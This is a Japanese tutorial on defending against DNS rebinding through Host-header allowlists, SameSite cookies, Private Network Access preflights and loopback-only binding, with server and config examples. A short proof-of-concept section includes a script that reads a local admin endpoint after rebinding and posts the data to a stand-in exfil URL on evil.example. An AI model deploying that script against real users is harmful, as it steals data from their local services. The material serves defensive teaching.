DNSリバインディング攻撃の防御|Host検証・SameSite・Private Network Access・localhostバインド

(更新: 2026年6月21日 ) セキュリティ DNS Web Cookie localhost CORS
結論
  • DNSリバインディングは、ブラウザの同一オリジン判定がDNS解決結果に依存することと、ローカルサービスがLAN全体で待ち受けていることの組み合わせで成立する。
  • Hostヘッダー検証で想定外の名前付きアクセスを拒否し、SameSite Cookieでクロスサイト起点のCookie送信を止め、Private Network AccessでパブリックサイトからプライベートIPへのfetchをプリフライトで制御し、開発サーバーは127.0.0.1に限定バインドする——この4層を重ねるのが実務の定石だ。
  • Cookie属性の詳細はセキュアなCookie設定ガイド、PNAのプリフライト挙動はCORSプリフライトリクエストを参照。

DNSリバインディング攻撃とは

DNSリバインディング(DNS Rebinding)は、攻撃者が制御するドメイン名のDNSレコードを時間差で切り替え、被害者のブラウザに「悪意あるJavaScript」と「127.0.0.1上のローカルサービス」を同一オリジンとして扱わせる攻撃クラスだ。

通常、Webページ https://evil.example 上のJavaScriptは、Same-Origin Policyにより http://127.0.0.1:8080 へ直接 fetch できない——オリジン(スキーム・ホスト・ポート)が異なるためだ。しかし攻撃者は次の手順でこの制約を迂回する。

  1. 被害者を https://evil.example に誘導する
  2. 最初のDNS解決では evil.example → 攻撃者のパブリックIP(正常なページを表示)
  3. DNS TTL(生存時間)が切れた後、同じホスト名が 127.0.0.1192.168.1.1 を指すようDNSを更新する
  4. ブラウザは evil.example オリジンとして同一ページ上のJavaScriptを継続実行する
  5. そのJavaScriptが fetch('http://evil.example:8080/admin') を送ると、DNSは127.0.0.1を返すため、同一オリジン扱いでローカル管理APIに到達する

Same-Origin Policyは「ホスト名の文字列」ではなく解決後のIPアドレスとポートの組で判定されるため、DNS解決結果が切り替わると、攻撃者スクリプトから見た「同一オリジン先」がローカルループバックやLAN内ルーターに変わってしまう。

「localhostは外部から触れない」は誤解

多くの開発者は「127.0.0.1は自分のPCの中だけ」と考えるが、被害者自身のブラウザ上で動くJavaScriptから見れば127.0.0.1は到達可能だ。攻撃者はネットワーク越しに127.0.0.1へ接続するのではなく、被害者のブラウザを代理( confused deputy )として使う。だからファイアウォールで外部からの127.0.0.1アクセスを遮断しても、この攻撃は防げない。

攻撃が成立する典型環境

DNSリバインディングの被害を受けやすいのは、次のようなサービスだ。

対象なぜ危険か被害例
開発用webpack-dev-server認証なし・0.0.0.0バインド・HMR WebSocketソースコードや環境変数の漏洩
Docker Desktop API / Portainerローカル管理UIがCookie認証のみコンテナ操作・シークレット窃取
IoTルーター管理画面デフォルトパスワード・HTTPのみDNS設定変更・LAN内MITM
Redis / MongoDB 管理UIバインドアドレス未設定データベース全削除
社内ツール(HTTP)VPN外からもLAN到達可能内部APIの不正呼び出し

攻撃者が得られるものは、ローカルサービスのレスポンスbodyの読み取り(同一オリジンなのでCORS制限なし)、Cookie付きリクエスト(SameSite未設定の場合)、状態変更操作(CSRF相当だがオリジンが一致するためCORSもSameSiteも効かない場合がある)だ。

1

攻撃者が evil.example のDNS TTL を 0〜60秒に設定し、最初は攻撃者サーバーIPを返す

2

被害者が evil.example を開き、JavaScriptが読み込まれる(一見正常なページ)

3

TTL経過後、evil.example のAレコードが 127.0.0.1 に更新される

4

同一タブ上のJavaScriptが fetch('http://evil.example:6379/...') を実行する

5

ブラウザは evil.example を 127.0.0.1 に解決し、同一オリジンとしてRedis管理UI等にアクセス

6

SameSite未設定のCookieや認証なしAPIがあれば、設定変更・データ窃取が成立する

防御の全体像——4層の多層防御

単一の対策では穴が残る。実務では次の4層を組み合わせる。

防御層 役割と限界
Hostヘッダー検証 リクエストのHostが許可リスト外なら拒否。リバインディング後にHost=evil.exampleで127.0.0.1に来るリクエストを遮断できる。127.0.0.1直アクセスやHost偽装には追加対策が必要
SameSite Cookie クロスサイト起点のリクエストにCookieを付けない。evil.example→127.0.0.1へのfetchでは127.0.0.1のCookieは送信されない(Lax/Strict時)。SameSite=NoneやCookie非依存APIは対象外
Private Network Access パブリックサイトからプライベートIPへのfetch前にプリフライト。ターゲットが明示許可しなければブロック。Chrome中心でFirefox/Safariも追随中
localhostバインド(127.0.0.1) 0.0.0.0待ち受けをやめLAN越しの到達を減らす。DNSリバインディング自体は止めないが、攻撃面積を縮小する第一歩
CORSだけでは防げない理由

同一オリジンに見えた瞬間、ブラウザはCORSプリフライトを送らない。evil.example上のJSから127.0.0.1をevil.exampleとして解決できれば、レスポンスbodyをJavaScriptから自由に読める。だからCORSプリフライトの議論は「クロスオリジン」に限定され、リバインディング後は適用外になる——Host検証とPNAがクロスオリジンになる前の段階で止める必要がある。

第1層:Hostヘッダー検証

HTTP/1.1以降、クライアントはリクエストごとに Host ヘッダーを送る。リバインディング攻撃では、127.0.0.1上のサービスに対し Host: evil.example のような想定外の値が付く。サーバー側で許可するHost名のホワイトリストを持ち、一致しなければ 400 Bad Request または 421 Misdirected Request を返す。

検証すべきポイント

  • 完全一致api.example.com のみ許可(ワイルドカードは慎重に)
  • ポート込みの考慮Host: evil.example:8080 形式
  • リバースプロキシ背後X-Forwarded-Host を信用する場合はプロキシを限定し、直接アクセスでは使わない
  • デフォルト拒否:許可リストに無いHostはすべて拒否

Express(Node.js)ミドルウェア例

// middleware/validateHost.js
const ALLOWED_HOSTS = new Set([
  'api.example.com',
  'api.example.com:443',
  'localhost:3000',       // 開発時のみ
  '127.0.0.1:3000',         // 開発時のみ
]);

function normalizeHost(hostHeader) {
  if (!hostHeader) return null;
  return hostHeader.toLowerCase().split(',')[0].trim();
}

export function validateHost(req, res, next) {
  const host = normalizeHost(req.headers.host);

  if (!host || !ALLOWED_HOSTS.has(host)) {
    console.warn('[validateHost] rejected', { host, ip: req.ip, path: req.path });
    return res.status(421).json({
      error: 'misdirected_request',
      message: 'Unrecognized Host header',
    });
  }

  next();
}
// app.js
import express from 'express';
import { validateHost } from './middleware/validateHost.js';

const app = express();

app.use(validateHost);

app.get('/health', (req, res) => {
  res.json({ status: 'ok' });
});

app.listen(3000, '127.0.0.1', () => {
  console.log('Listening on http://127.0.0.1:3000');
});

リバインディング後、攻撃者のfetchは Host: evil.example を付けて127.0.0.1:3000に届く。上記ミドルウェアが421を返せば、bodyの読み取りも状態変更も止まる

nginx での Host 検証

# /etc/nginx/conf.d/api.example.com.conf

# 許可Host以外はdefault_serverで421を返す
server {
    listen 8080 default_server;
    listen [::]:8080 default_server;
    server_name _;

    return 421;
}

server {
    listen 8080;
    listen [::]:8080;
    server_name api.example.com localhost;

    # 127.0.0.1 のみバインド(別ファイルの listen 指令と併用)
    # listen 127.0.0.1:8080;

    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;

        # 二重チェック(map でも可)
        if ($host !~* ^(api\.example\.com|localhost)$) {
            return 421;
        }
    }
}

本番では if より map モジュールの方がnginxコミュニティでは推奨されるが、概念として「server_name と一致しないHostを拒否する」ことが重要だ。

Go(chi)での Host 検証

package main

import (
	"net/http"
	"strings"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

var allowedHosts = map[string]struct{}{
	"api.example.com":     {},
	"api.example.com:443": {},
	"127.0.0.1:8080":      {}, // 開発用
}

func validateHost(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		host := strings.ToLower(strings.TrimSpace(r.Host))
		if _, ok := allowedHosts[host]; !ok {
			http.Error(w, "Unrecognized Host", http.StatusMisdirectedRequest)
			return
		}
		next.ServeHTTP(w, r)
	})
}

func main() {
	r := chi.NewRouter()
	r.Use(middleware.Logger)
	r.Use(validateHost)

	r.Get("/health", func(w http.ResponseWriter, r *http.Request) {
		w.Write([]byte(`{"status":"ok"}`))
	})

	// 127.0.0.1 に限定して待ち受け
	http.ListenAndServe("127.0.0.1:8080", r)
}
Host検証の落とし穴

X-Forwarded-Host を無条件に信用すると、プロキシを経由しない直接アクセスで偽装される。リバースプロキシ1ホップだけが設定できる環境に限定し、オリジンサーバーは req.headers.host のみを検証する設計が安全。許可リストに広すぎるワイルドカード*.example.com を自前実装で雑にパース)も避ける。

DNSリバインディングで同一オリジンに見えても、Cookieの送信条件は別レイヤーで判定される。SameSite=Lax または Strict を付けたCookieは、クロスサイトとみなされるリクエストでは送られない。

リバインディング攻撃の文脈では次のように整理できる。

  • 攻撃ページのオリジン:https://evil.example
  • リバインディング後のfetch先:http://evil.example:8080 → DNS解決で127.0.0.1
  • 127.0.0.1上のサービスが以前 Set-Cookie: session=...; SameSite=Lax を発行していた場合、そのCookieの 登録ドメインは127.0.0.1(またはlocalhost)

evil.example から127.0.0.1へ「同一オリジン」fetchしても、127.0.0.1用のCookieは evil.example とは別サイトとして扱われる場面がある——ブラウザ実装とCookieのスコープに依存する。確実なのは、127.0.0.1/local向けCookieにSameSite=Lax/Strictを付け、攻撃者ドメインからのクロスサイトリクエストで送らせないことだ。

セキュアなCookie設定ガイドで詳述している通り、セッションCookieのデフォルトは次のとおり。

Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9...; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=3600

SameSite が効く場面・効かない場面

シナリオ SameSite=Lax の効果
evil.example から 127.0.0.1 管理UIへ fetch(クロスサイト判定) 127.0.0.1のセッションCookieは付与されない——攻撃者は未認証APIしか叩けない
SameSite=None; Secure の分析用Cookie 付与される——埋め込み連携用Cookieはリバインディング経路でも送信されうる。ローカルサービスではNoneを避ける
Cookie認証を使わないRedis/Mongo(認証なし) SameSiteは無関係——Host検証・ファイアウォール・bindアドレスで守る
127.0.0.1上のSPAが自分自身へfetch 同一サイト——正常動作。SameSiteは攻撃を妨げないが正常系も阻害しない

Express での SameSite 設定(csurf / express-session 併用)

import session from 'express-session';

app.use(
  session({
    name: '__Host-session',
    secret: process.env.SESSION_SECRET,
    resave: false,
    saveUninitialized: false,
    cookie: {
      httpOnly: true,
      secure: process.env.NODE_ENV === 'production',
      sameSite: 'lax',
      maxAge: 3600 * 1000,
      path: '/',
    },
  }),
);

__Host- プレフィックスは Domain属性なし・Path=/・Secure を強制し、サブドメインへのCookie漏洩も抑える。ローカル開発サーバーでは Secure が効かない場合があるため、本番と開発で設定を分ける。

CSRF対策との関係

DNSリバインディング後は「同一オリジン」に見えるため、CSRFトークンのオリジン検証だけでは不十分な場合がある。SameSiteは「サイト境界」をブラウザが強制する層として、CSRFトークンと併用する。CSRF対策の実装とあわせて多層化すること。

第3層:Private Network Access(CORS-RFC1918)

Private Network Access(PNA、旧称 CORS-RFC1918)は、パブリックWebサイトからプライベートネットワーク宛てのリクエストをブラウザが追加チェックする仕組みだ。Chrome 94以降で段階的に enforce され、2024年以降はデフォルトでブロック方向に強化されている。

動作の概要

  1. https://evil.example 上のJavaScriptが fetch('http://192.168.1.1/admin') または fetch('http://127.0.0.1:8080/') を実行する
  2. ブラウザは本番リクエストの前に OPTIONS プリフライト を送る(通常のCORSプリフライトに加え)
  3. プリフライトに Access-Control-Request-Private-Network: true が付く
  4. ターゲット(192.168.1.1や127.0.0.1上のサーバー)が Access-Control-Allow-Private-Network: true を返さなければ、ブラウザが本番リクエストをブロック

つまり、意図せず0.0.0.0で待ち受けている開発サーバーも、デフォルトでは外部オリジンからのfetchを拒否できる——正しいCORS+PNA応答を返さない限り。

プリフライトのHTTPダンプ

OPTIONS /api/status HTTP/1.1
Host: 127.0.0.1:8080
Origin: https://evil.example
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true
Connection: keep-alive
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Sec-Fetch-Dest: empty
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://evil.example
Access-Control-Allow-Methods: GET, OPTIONS
Access-Control-Allow-Private-Network: true
Access-Control-Max-Age: 86400

ローカル管理UIでは Access-Control-Allow-Private-Network: true を返してはならない。 返した瞬間、パブリックサイトからのfetchが通る。開発サーバーのデフォルトは「PNAヘッダーなし=ブロック」でよい。

Express で PNA プリフライトを明示拒否

app.options('*', (req, res) => {
  const isPrivateNetworkPreflight =
    req.headers['access-control-request-private-network'] === 'true';

  if (isPrivateNetworkPreflight) {
    // ログだけ残し、Allow-Private-Network は返さない
    console.warn('[PNA] blocked preflight from', req.headers.origin);
    return res.status(403).end();
  }

  // 通常のCORS OPTIONS(必要なら)
  res.setHeader('Access-Control-Allow-Origin', 'https://app.example.com');
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
  res.status(204).end();
});

Chrome のローカル開発向けフラグ(参考)

開発中のみ一時的にPNAチェックを緩和するChromeフラグがあるが、本番防御として使ってはならない

chrome://flags/#block-insecure-private-network-requests
chrome://flags/#private-network-access-respect-preflight-results

チーム開発では「PNAを無効化したChromeでだけ動く」状態を作らず、127.0.0.1バインド+Host検証を標準にする。

第4層:localhost の 127.0.0.1 バインド

開発サーバーやローカル管理UIを 0.0.0.0(全インターフェース) で待ち受けると、同一LAN上の他端末から http://<your-lan-ip>:3000 で到達できる。DNSリバインディングと組み合わさると、攻撃面が「自分のPCのループバック」から「LAN上の開発マシン」まで広がる。

危険なバインド例

# 危険:LAN内の全端末から到達可能
npm run dev -- --host 0.0.0.0 --port 3000

# Vite のデフォルト設定例(vite.config.js)
# server: { host: true } も 0.0.0.0 相当——社内LANでは注意
// 危険:Express が全IFで待ち受け
app.listen(3000, () => {
  console.log('Listening on port 3000');
});

推奨:127.0.0.1 に限定

# 安全:ループバックのみ
npm run dev -- --host 127.0.0.1 --port 3000
// vite.config.js
export default {
  server: {
    host: '127.0.0.1',
    port: 5173,
    strictPort: true,
  },
};
// Express:明示的に127.0.0.1
app.listen(3000, '127.0.0.1', () => {
  console.log('http://127.0.0.1:3000');
});
# docker-compose.yml — 管理UIをホストに公開しない
services:
  redis-commander:
    image: rediscommander/redis-commander:latest
    ports:
      - "127.0.0.1:8081:8081"
    environment:
      - REDIS_HOSTS=local:redis:6379

ports: "8081:8081" は0.0.0.0バインドになる。 127.0.0.1:8081:8081 と書くとホスト側ループバックのみに限定できる。

systemd / 本番プロセスマネージャ

# /etc/systemd/system/myapp.service
[Service]
ExecStart=/usr/bin/node /opt/myapp/server.js
Environment=HOST=127.0.0.1
Environment=PORT=3000

nginx や Caddy などのリバースプロキシだけが0.0.0.0:443で外部公開し、アプリケーション本体は127.0.0.1のソケットで待ち受ける——多層防御の定石だ。

攻撃側 PoC の理解(防御設計のため)

防御を評価するには、攻撃者が何をするかをコードレベルで把握しておく。以下は教育・検証目的の概念実証(自環境でのみ実行すること)。

<!-- evil.example が配信するページ(概念) -->
<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="UTF-8" />
  <title>Loading...</title>
</head>
<body>
  <p>しばらくお待ちください...</p>
  <script>
    const REBIND_DELAY_MS = 7000;
    const TARGET_PORT = 8080;

    async function probeLocalService() {
      try {
        const res = await fetch(`http://evil.example:${TARGET_PORT}/admin/config`, {
          credentials: 'include',
        });
        const body = await res.text();
        await fetch('https://evil.example/exfil', {
          method: 'POST',
          body: JSON.stringify({ status: res.status, body: body.slice(0, 2000) }),
        });
      } catch (err) {
        console.log('Probe failed (expected if defended):', err.message);
      }
    }

    setTimeout(probeLocalService, REBIND_DELAY_MS);
  </script>
</body>
</html>

DNS側では evil.example のAレコードをTTL 1秒程度で切り替える。防御が有効なら、Host検証で421PNAでプリフライト失敗SameSiteでCookie非送信のいずれかで body は空または403になる。

PoC実行の注意

他人のサービスや許可のないネットワークでリバインディングPoCを実行することは法令・利用規約に触れる可能性がある。自分が管理するドメイン・自分のPC上のダミーサーバーに限定し、ステージングで防御効果を確認すること。

フレームワーク別チェックリスト

Vite / webpack-dev-server / Next.js dev

項目推奨設定
バインドアドレス127.0.0.1
allowedHosts明示的に localhost のみ(Vite 5+)
HTTPS本番相当テストは mkcert 等でHTTPS dev
認証管理系エンドポイントはdevでもBasic認証を検討
// vite.config.js — Vite 5+
export default {
  server: {
    host: '127.0.0.1',
    port: 5173,
    allowedHosts: ['localhost'],
  },
};

Docker / Kubernetes

  • Publish port127.0.0.1:PORT:PORT 形式
  • Kubernetes Servicetype: LoadBalancer をローカルクラスターで不用意に公開しない
  • NetworkPolicy でPod間・外部からの到達を制限

ルーター・IoT

  • 管理画面をWAN側に公開しない
  • デフォルトパスワード変更・HTTPS有効化
  • DNSリバインディングは「LAN内のブラウザ」経由——LANゲストWi-Fiから管理UIに届かない設定

検証手順:ステージングでの防御テスト

1

127.0.0.1:8080 でダミーAPI(/admin)を起動し、Host検証ミドルウェアを有効化する

2

TTL 1秒のテスト用ドメインを用意し、AレコードをパブリックIPと127.0.0.1で切り替える

3

攻撃者ページ相当のHTMLから fetch を実行し、421/403とレスポンスbody不可を確認する

4

SameSite=Lax Cookieを発行し、リバインディング経路でCookieが送られないことをDevToolsで確認する

5

Chrome DevTools の Network で Access-Control-Request-Private-Network 付き OPTIONS がブロックされることを確認する

6

0.0.0.0 と 127.0.0.1 バインドでLAN内別端末からの到達差を比較する

curl で Host 検証の単体テスト

# 許可Host — 200 expected
curl -s -o /dev/null -w "%{http_code}" \
  -H "Host: api.example.com" \
  http://127.0.0.1:8080/health

# 拒否Host — 421 expected
curl -s -o /dev/null -w "%{http_code}" \
  -H "Host: evil.example" \
  http://127.0.0.1:8080/health
  1. Application → Cookies → http://127.0.0.1:8080 にセッションCookie(SameSite=Lax)を作成
  2. 別オリジンのテストページから fetch('http://127.0.0.1:8080/admin', { credentials: 'include' }) を実行
  3. Network タブで Request Headers に Cookie無いことを確認

よくある誤解と正しい理解

「127.0.0.1だからCORS不要」

ローカルサービス同士でも、ブラウザ経由であればSame-Origin PolicyとPNAは適用される。「サーバー間通信だから安全」という混同に注意。

「HTTPSにしていればリバインディングは無害」

HTTPSは通信経路の暗号化であり、同一オリジン判定は変わらないhttps://evil.example からリバインディングで https://127.0.0.1(自己署名証明書等)へ到達する変種も理論上存在する。Host検証とPNAはHTTPSと独立した層だ。

「社内VPN内だから外部攻撃者は関係ない」

被害者のブラウザがVPN内にあっても、同じブラウザでインターネット上の evil.example を開くことは普通にある。VPNは「ネットワーク境界」であり「ブラウザの同一オリジン境界」ではない。

「Cloudflareが付いていれば安心」

Cloudflareはパブリック向けオリジンを保護する。127.0.0.1上の開発サーバーはCloudflareの背後にない。ローカル防御は開発者自身が実装する。

関連する攻撃・防御との関係

関連トピックDNSリバインディングとの関係
CORSプリフライトPNAはCORS OPTIONSの拡張。クロスオリジン段階でブロック
セキュアCookieSameSite=Lax/StrictでCookie送信経路を制限
CSRFリバインディング後は同一オリジンに見える——SameSite+Host検証が有効
XSSXSSと組み合わさるとローカルfetchの自動実行が容易——CSPも重要
SSRF(サーバー側)DNSリバインディングはブラウザ側の confused deputy——対策層が異なる

本番・開発環境向け設定テンプレート

nginx 統合例(Host + 127.0.0.1 バインド + PNA拒否)

map $http_host $host_allowed {
    default                     0;
    "api.example.com"           1;
    "api.example.com:443"       1;
}

server {
    listen 127.0.0.1:8080;
    server_name api.example.com;

    if ($host_allowed = 0) {
        return 421;
    }

    location / {
        if ($http_access_control_request_private_network = "true") {
            return 403;
        }

        proxy_pass http://127.0.0.1:3000;
        proxy_set_header Host $host;
    }
}

環境変数による許可Host管理(12-factor)

# .env.production
ALLOWED_HOSTS=api.example.com,api.example.com:443
BIND_ADDRESS=127.0.0.1
PORT=3000
const allowedHosts = new Set(
  process.env.ALLOWED_HOSTS.split(',').map((h) => h.trim().toLowerCase()),
);

const bindAddress = process.env.BIND_ADDRESS || '127.0.0.1';
const port = Number(process.env.PORT || 3000);

app.listen(port, bindAddress);

まとめ——優先順位付きアクション

  1. 今日:開発サーバーの 0.0.0.0 バインドを 127.0.0.1 に変更
  2. 今週:ローカル・ステージングAPIに Host許可リスト検証 を追加
  3. 今週:セッションCookieを HttpOnly + Secure + SameSite=Lax に統一(詳細
  4. 今月:Chrome DevToolsで PNAプリフライト が意図通りブロックされることを確認
  5. 継続:新規ローカルツール追加時に Docker ports・bindアドレス をコードレビュー項目に含める

DNSリバインディングは「マイナーな攻撃」と誤解されがちだが、開発者のPC上の未保護サービスという現場に最も刺さる脅威の一つだ。Host検証・SameSite・Private Network Access・127.0.0.1バインド——4つはどれも単体では完璧でないが、重ねれば evil.example からローカル管理APIのbodyを読む 典型シナリオを実用的に潰せる。

次の一歩

まず自ワークステーションで netstat -ano または ss -tlnp を実行し、0.0.0.0でLISTENしているプロセスを洗い出す。webpack-dev-server、Redis、Docker、DBクライアント——見慣れた名前ほど127.0.0.1へのバインド変更とHost検証の優先度が高い。ステージングでリバインディングPoCを1回流し、421・403・Cookie非送信の3点が揃うことを確認してから本番ロールアウトしよう。

関連記事

この記事は セキュリティ テーマの一環です。あわせて読むと理解が深まる関連記事をまとめました。

トピック記事
XSS攻撃と防御の完全ガイドXSS攻撃と防御の完全ガイド|反射型・蓄積型・DOM型の対策
Double Submit Cookie完全実装Double Submit Cookie完全実装|Synchronizer Token比較・SPA+JWT・サブドメイン攻撃
Content Security Policy (CSP) 設定ガイドContent Security Policy (CSP) 設定ガイド|XSS・クリックジャッキング対策
CSP Report-Only 段階導入ガイドCSP Report-Only 段階導入ガイド|本番を壊さずポリシーを検証する
セキュリティヘッダー一覧と設定ガイドセキュリティヘッダー一覧と設定ガイド|CSP・HSTS・Referrer-Policy・Permissions-Policy
CORSエラーの対処法CORSエラーの対処法|「Access-Control-Allow-Origin」で解決する
ローカル開発でCORSエラーが出る原因と3つの回避策ローカル開発でCORSエラーが出る原因と3つの回避策
OAuth2 PKCE SPA実装ガイドOAuth2 PKCE SPA実装ガイド|Authorization Code + S256 + BFFパターン
Passkeys・WebAuthn実装の基礎Passkeys・WebAuthn実装の基礎|FIDO2・Resident Key・@simplewebauthn/server
JWTのデバッグ方法JWTのデバッグ方法|トークンの中身を安全に確認する
JWTの中身を確認する方法JWTの中身を確認する方法|改ざんが検知される仕組み
JWKSとJWT鍵ローテーション運用ガイドJWKSとJWT鍵ローテーション運用ガイド|kid検証・ゼロダウンタイム・Node.js実装